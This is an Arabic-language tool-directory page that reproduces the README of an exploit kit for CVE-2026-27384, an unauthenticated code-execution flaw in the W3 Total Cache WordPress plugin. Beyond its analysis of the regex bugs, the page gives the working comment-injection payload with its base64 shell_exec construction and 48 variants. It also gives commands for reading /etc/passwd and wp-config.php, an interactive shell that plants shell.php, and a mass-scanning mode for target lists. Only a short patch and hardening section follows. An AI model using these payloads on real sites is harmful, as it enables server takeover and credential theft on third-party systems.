Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-27384 — ماسح ضوئي آلي واستغلال لـ CVE-2026-27384، وهي ثغرة RCE غير مصادق عليها في W3 Total Cache عبر حقن mfunc/eval(). يتضمن الكشف التلقائي، 48 نوعًا من الحمولات، قشرة تفاعلية، وفحص مجمع. | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-27384
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubxxconi/cve-2026-27384

CVE-2026-27384

ماسح ضوئي آلي واستغلال لـ CVE-2026-27384، وهي ثغرة RCE غير مصادق عليها في W3 Total Cache عبر حقن mfunc/eval(). يتضمن الكشف التلقائي، 48 نوعًا من الحمولات، قشرة تفاعلية، وفحص مجمع.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-27384

CVE-2026-27384 — ماسح RCE عبر mfunc/eval() في W3 Total Cache

الإضافة: W3 Total Cache Slug الإضافة: w3-total-cache معرف CVE: CVE-2026-27384 درجة CVSS: 9.8 (حرجة) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H نوع الثغرة: تنفيذ تعليمات برمجية عشوائية غير موثّق (حقن كود عبر eval()) الإصدارات المتأثرة: <= 2.9.1 الإصدار المُصحَّح: 2.9.2 تاريخ النشر: 24 فبراير 2026 الباحث: CODE WHITE GmbH


📌 ملخص الثغرة

ميزة التخزين المؤقت للقطع الديناميكية في إضافة W3 Total Cache (نظام mfunc/mclude) تقوم بتنفيذ كود PHP مضمن في تعليقات HTML باستخدام eval(). يمكن تجاوز رمز الذي يفترض أن يحمي هذه الميزة، بسبب اجتماع عدة أخطاء برمجية.

W3TC_DYNAMIC_SECURITY

النتيجة: يمكن تنفيذ كود PHP عشوائي على الخادم دون الحاجة إلى مصادقة، فقط بإرسال تعليق في ووردبريس.


🔍 جدول ملخص الثغرة

الحقلالقيمة
معرف CVECVE-2026-27384
درجة CVSS9.8 حرجة
النوعحقن كود → RCE (CWE-94)
الإصدار المتأثر<= 2.9.1
الإصدار المُصحَّح2.9.2
المصادقةغير مطلوبة
تفاعل المستخدمغير مطلوب
الشرط المسبقيجب أن يحتوي W3TC_DYNAMIC_SECURITY على محرف خاص بالتعبير النمطي

⚙️ التحليل الفني

الميزة: mfunc / mclude

تسمح ميزة التخزين المؤقت للقطع الديناميكية في W3TC للمطورين بتضمين كود PHP في صفحة HTML عبر وسوم تعليق خاصة:

root@kitploit:~
<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

تقوم W3TC بمعالجة هذه الوسوم عند عرض الصفحة من ذاكرة التخزين المؤقت: يتم تنفيذ كود PHP المضمن باستخدام eval()، ويُكتب الناتج مكان كتلة التعليق.


الخطأ 1 — عدم استخدام preg_quote() (PgCache_ContentGrabber.php)

root@kitploit:~
// ضعيف — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ يتم إضافة W3TC_DYNAMIC_SECURITY مباشرة إلى التعبير النمطي
        // preg_quote() غير موجود → يعامل الرمز كنمط تعبير نمطي
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

إذا كان الرمز '.' يصبح التعبير <!--\s*mfunc\s*.(.*)--> → أي محرف واحد يحل محل الرمز.


الخطأ 2 — عدم تطابق \s* مقابل \s+

الدالةالنمطالسلوك
_parse_dynamic() — ينفذmfunc\s*TOKENيقبل 0 مسافة ✅
strip_dynamic_fragment_tags_from_string() — ينظفmfunc\s+TOKENيتطلب مسافة واحدة على الأقل ❌
root@kitploit:~
الحمولة المهاجمة:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      لا توجد مسافة بين mfunc والرمز

دالة strip:   \s+ → لا تتطابق → تبقى الحمولة
التعبير التنفيذي:    \s* → يتطابق → يتم تنفيذ eval() ✅

الخطأ 3 — عدم التحقق من الرمز (_has_dynamic())

root@kitploit:~
// ضعيف — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ فقط التحقق من defined() — لا يوجد فحص empty() أو محارف خاصة
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

سلسلة الهجوم الكاملة

root@kitploit:~
W3TC_DYNAMIC_SECURITY = '.'   (محرف خاص بتعبير نمطي — أي محرف)
        │
        ▼
يرسل المهاجم تعليقًا:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  النمط: mfunc\s+[^\s]+  →  يتطلب \s+، لا توجد مسافة → تم التجاوز ✅
        │
        ▼
يُحفظ التعليق في قاعدة البيانات، وتُخزن الصفحة في ذاكرة التخزين المؤقت
        │
        ▼
الطلب HTTP الثاني → تقدم W3TC من ذاكرة التخزين المؤقت
  _has_dynamic() → mfunc\s*.  → 'A' يتطابق → يُرجع true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  النمط: mfunc\s*.  → 'A' يتطابق
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE غير موثّق ✓

🔴 تأثير الهجوم

يمكن تنفيذ كود PHP عشوائي على الخادم بصلاحيات خادم الويب دون مصادقة:

  • ✅ السيطرة الكاملة على الخادم
  • ✅ قراءة/كتابة/حذف ملفات ووردبريس وقاعدة البيانات
  • ✅ تثبيت واجهة ويب خلفية / باب خلفي
  • ✅ التنقل إلى الشبكة الداخلية
  • ✅ تسريب بيانات الاعتماد، مفاتيح API، بيانات المستخدمين

🚀 التثبيت

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
beautifulsoup4

📖 الاستخدام

الأوضاع

الوضعالوصف
autoفحص الموقع → البحث عن صفحة تعليقات → استغلال (افتراضي)
exploitاستغلال مباشر — مع رابط الإرسال
shellواجهة تفاعلية
detectكشف W3TC فقط

الوضع التلقائي — كل شيء تلقائي

root@kitploit:~
python w3tc_rce.py https://hedef.com

يقوم الماسح بما يلي:

  1. التحقق من تثبيت W3TC
  2. البحث عن الصفحات التي تحتوي على نموذج تعليق باستخدام خريطة الموقع + تتبع الروابط
  3. تجربة 48 متغيرًا من الحمولة في كل صفحة
  4. إذا نجح، يعرض فتح واجهة تفاعلية

وضع الاستغلال — مباشر

root@kitploit:~
# أمر id
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# قراءة /etc/passwd
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# قراءة wp-config.php
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# معرّف المنشور يدويًا
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

وضع الواجهة التفاعلية

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

عند فتح الواجهة، يتم تشغيل whoami و hostname و pwd و uname -a تلقائيًا:

root@kitploit:~
=================================================================
  CVE-2026-27384 — واجهة W3TC mfunc التفاعلية
  الرابط    : https://hedef.com/?p=1
  الحمولة: b64_shell_exec (bypass='A')
=================================================================

  المستخدم  : www-data
  المضيف  : web01.hedef.com
  المسار الحالي   : /var/www/html
  نظام التشغيل    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  الأوامر: exit | upload <محلي> <بعيد> | download <بعيد>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] الرفع: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] التنزيل: wp-config.php → wp-config.php (4821 بايت)

وضع الكشف — فقط الكشف

root@kitploit:~
python w3tc_rce.py https://hedef.com --mode detect
root@kitploit:~
[+] تم تثبيت W3TC!
    الإصدار  : 2.9.1
    ذاكرة التخزين المؤقت  : True
[!] الإصدار 2.9.1 ضعيف (<= 2.9.1)!

الفحص الجماعي

root@kitploit:~
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

مع وكيل (Burp Suite)

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ جميع المعاملات

المعاملالمختصرالوصفالافتراضي
url—رابط الهدف المفرد—
--list-lملف قائمة الأهداف—
--mode—وضع العملauto
--cmd—الأمر المراد تنفيذهid
--post-url—رابط الصفحة التي تحتوي على التعليق—
--post-id—معرف المنشور في ووردبريس—
--max-pages—أقصى عدد صفحات للزاحف50
--threads-tعدد الخيوط10
--output-oملف الإخراجw3tc_results.txt
--proxy—رابط الوكيل—
--no-color—إخراج بدون ألوانFalse
--verbose-vإخراج مفصلFalse

💀 بنية الحمولة

تجاوز mfunc بدون مسافة

root@kitploit:~
الوسم القياسي (يُلتقط بواسطة strip):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          توجد مسافة → \s+ يتطابق → strip يزيل

وسم التجاوز (يتجاوز strip، يعمل eval()):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        لا توجد مسافة → \s+ لا يتطابق → strip يتجاوز
                      \s* يتطابق → eval() يعمل

ترميز Base64

يتم ترميز كود PHP بـ base64 لتجنب مشاكل ترميز HTML:

root@kitploit:~
# الأمر: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48 متغيرًا من الحمولة

المجموعةالدالةمحرف التجاوزالترميز
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*جميع الدوالA, B, X, 1خام

🔄 سير الاستغلال

root@kitploit:~
1. كشف W3TC
   └─ readme.txt, header, body, مجلد الإضافة

2. كشف نظام التعليقات
   └─ نموذج HTML, REST API, معرف المنشور

3. حقن الحمولة (48 متغيرًا)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ نموذج HTML: POST /wp-comments-post.php

4. تحفيز ذاكرة التخزين المؤقت
   ├─ الطلب الأول → عدم وجود في الذاكرة المؤقتة → عرض الصفحة → التخزين المؤقت
   └─ الطلب الثاني → وجود في الذاكرة المؤقتة → _parse_dynamic() → eval()

5. استخراج المخرجات
   └─ uid=, whoami, /path/, passwd, wp-config...

🖥️ أمثلة على المخرجات

الوضع التلقائي

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] الهدف: https://hedef.com
  الزحف: [████████████████████] 100% (50/50) | 8.3/s

[+] صفحة التعليقات: https://hedef.com/?p=1 (post_id=1)

  [1] كشف W3TC...
[+] تم العثور على W3TC! الإصدار: 2.9.1
  [2] كشف نظام التعليقات...
[+] معرف المنشور: 1 | النموذج: True | REST: True
  [3] حقن الحمولة (id)...
[i] 48 متغيرًا من الحمولة جاهزة
  [4] تحفيز ذاكرة التخزين المؤقت...

[★] RCE ناجح!
=========================================================
  الرابط     : https://hedef.com/?p=1
  الحمولة : b64_shell_exec (bypass='A')
  الأمر   : id
  المخرجات   : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] تم حفظ النتائج → w3tc_results.txt
[?] فتح الواجهة التفاعلية؟ (y/n):

ملخص الفحص الجماعي

root@kitploit:~
Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] تم العثور على 7 ثغرات!
[+] تم حفظ النتائج → w3tc_results.txt

📁 هيكل الملفات

root@kitploit:~
cve-2026-27384/
├── w3tc_rce.py        # الماسح الرئيسي
├── requirements.txt   # التبعيات
└── README.md          # هذا الملف

🛡️ الدفاع / التصحيح

الإجراءالوصف
تحديث الإضافةالترقية إلى إصدار W3 Total Cache 2.9.2+
تعطيل mfuncإذا لم يتم تعريف W3TC_DYNAMIC_SECURITY، فلن تعمل الميزة
رمز قوييجب أن يحتوي الرمز على محارف أبجدية رقمية فقط ([a-zA-Z0-9_]+)

مثال على رمز آمن (wp-config.php):

root@kitploit:~
// ❌ خطير — محرف خاص بالتعبير النمطي
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ آمن — أبجدي رقمي
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

تصحيح الإصدار 2.9.2 (_parse_dynamic()):

root@kitploit:~
// تم التصحيح — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ تمت إضافة preg_quote
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (مسافة واحدة على الأقل)
    ...
);

⚠️ إخلاء المسؤولية القانوني

هذه الأداة وإثبات المفهوم (PoC) مصممان للاستخدام فقط على الأنظمة المصرح بها، لأغراض تعليمية وضمن اختبار الاختراق. استخدامها على أنظمة غير مصرح بها يعتبر جريمة بموجب المواد 243-245 من قانون العقوبات التركي وقوانين الجرائم الإلكترونية الدولية. لا يتحمل المطور أي مسؤولية قانونية ناتجة عن إساءة استخدام هذه الأداة.


📄 الترخيص

رخصة MIT — لأغراض التعليم والبحث فقط.


🔗 المراجع

  • Wordfence Advisory
  • W3 Total Cache Plugin
  • CODE WHITE GmbH
  • CWE-94: Improper Control of Code Generation
  • OWASP Code Injection
  • PHP eval() Security
  • PHP preg_quote()
تنزيل الأداة